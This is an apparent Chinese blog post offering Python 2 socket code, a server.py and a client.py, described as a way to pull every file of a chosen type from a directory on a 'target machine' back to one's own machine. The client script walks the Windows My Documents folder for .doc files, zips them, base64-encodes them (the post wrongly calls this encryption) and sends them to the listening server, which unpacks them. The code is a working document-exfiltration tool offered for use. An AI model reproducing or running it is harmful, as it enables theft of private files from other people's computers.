python程序传输文件 socket编程

本程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密

2、用zip压缩

3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可

4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

 

server.py

 

[python][/python] view plaincopy

  1. # -*- coding: cp936 -*-
  2. import socket
  3. import win32com.client
  4. import os
  5. import zipfile
  6. import codecs
  7. import base64
  8. def main():
  9.     HOST = ‘127.0.0.1’
  10.     PORT = 2000
  11.     BUF_SIZE = 6553500 #6M
  12.     key = ‘ouyang’
  13.     timeout = 5
  14.     dicName = “ouyang\\”
  15.     ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  16.     try:
  17.         ss.bind((HOST,PORT))
  18.         ss.listen(5)
  19.         print “wating for conntecting…”
  20.         while True:
  21.             try:
  22.                 cs,addr = ss.accept()
  23.                 socket.setdefaulttimeout(timeout)
  24.                 cs.send(“200 Connected!”)
  25.                 #获取加密数据
  26.                 encode_data = cs.recv(BUF_SIZE)
  27.                 #把数据写到out.zip文件
  28.                 tmpfile = open(‘out.tmp’,’wb’)
  29.                 try:
  30.                     tmpfile.write(encode_data)
  31.                     tmpfile.close()
  32.                 except IOError,e:
  33.                     print ‘Strange error creating IOError:%s’ % e
  34.                     tmpfile.close()
  35.                 finally:
  36.                     tmpfile.close()
  37.                 #base64 decode 2进制 解密 decode(infile,outfile)
  38.                 tmpfile = open(‘out.tmp’,’rb’)
  39.                 outfile = open(‘out.zip’,’wb’)
  40.                 base64.decode(tmpfile,outfile)
  41.                 tmpfile.close()
  42.                 outfile.close()
  43.                 #打开zip文件
  44.                 zfile = zipfile.ZipFile(‘out.zip’,’r’)
  45.                 #创建一个文件夹来存放获取的zip文件
  46.                 if not os.path.exists(dicName):
  47.                     os.mkdir(dicName)
  48.                 for f in zfile.namelist():
  49.                     data = zfile.read(f)
  50.                     file = open(dicName+os.path.basename(f),’w+b’)
  51.                     file.write(data)
  52.                     file.close()
  53.                 print “finished!!!”
  54.                 zfile.close()
  55.                 #后续处理 删除临时文件
  56.                 os.remove(‘out.tmp’)
  57.                 cs.close()
  58.             except socket.error, e:
  59.                 print ‘Strange error creating socket:%s’ % e
  60.                 cs.close()
  61.         ss.close()
  62.     except socket.error, e:
  63.         print ‘Strange error creating socket:%s’ % e
  64.         ss.close()
  65. if __name__==’__main__’:
  66.     main()

client.py

 

 

[python][/python] view plaincopy

  1. # -*- coding: cp936 -*-
  2. import socket
  3. import win32com.client
  4. import win32api
  5. import os
  6. import time
  7. import zipfile
  8. import codecs
  9. import base64
  10. def walk_dir(dir,filelist,extName,topdown=True):
  11.     for root, dirs, files in os.walk(dir, topdown):
  12.         for name in files:
  13.             if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
  14.                 filelist.append(os.path.join(root,name))
  15.         for name in dirs:
  16.             if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
  17.                 filelist.append(os.path.join(root,name))
  18. def main():
  19.     HOST = ‘127.0.0.1’
  20.     PORT = 2000
  21.     BUF_SIZE = 65535
  22.     key = ‘ouyang’
  23.     dicName = “C:\Documents and Settings\Administrator\我的文档”
  24.     extName = ‘.doc’
  25.     #遍历搜索我的文档的doc类型
  26.     try:
  27.         filelist = []
  28.         walk_dir(dicName,filelist,extName)
  29.     except IOError,e:
  30.         print “文件处理错误: ” % e
  31.         sys.exit(-1)
  32.     cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  33.     try:
  34.         cs.connect((HOST,PORT))
  35.         print cs.recv(BUF_SIZE)
  36.         #压缩成zip文件
  37.         zfile = zipfile.ZipFile(‘in.zip’,’w’,zipfile.ZIP_DEFLATED)
  38.         for f in filelist:
  39.             zfile.write(f)
  40.         zfile.close()
  41.         #base 2进制 加密 encode(infile,outfile)
  42.         infile = open(‘in.zip’,’rb’)
  43.         tmpfile = open(‘in.tmp’,’wb’)
  44.         base64.encode(infile,tmpfile)
  45.         infile.close()
  46.         tmpfile.close()
  47.         #send
  48.         tmpfile = open(‘in.tmp’,’rb’)
  49.         cs.send(tmpfile.read())
  50.         tmpfile.close()
  51.         #后续处理 删除中间文件
  52.         os.remove(‘in.tmp’)
  53.         cs.close()
  54.     except socket.error ,e:
  55.         print ‘socket 出错啦:’ % e
  56.         cs.close()
  57. if __name__==’__main__’:
  58.     main()

标签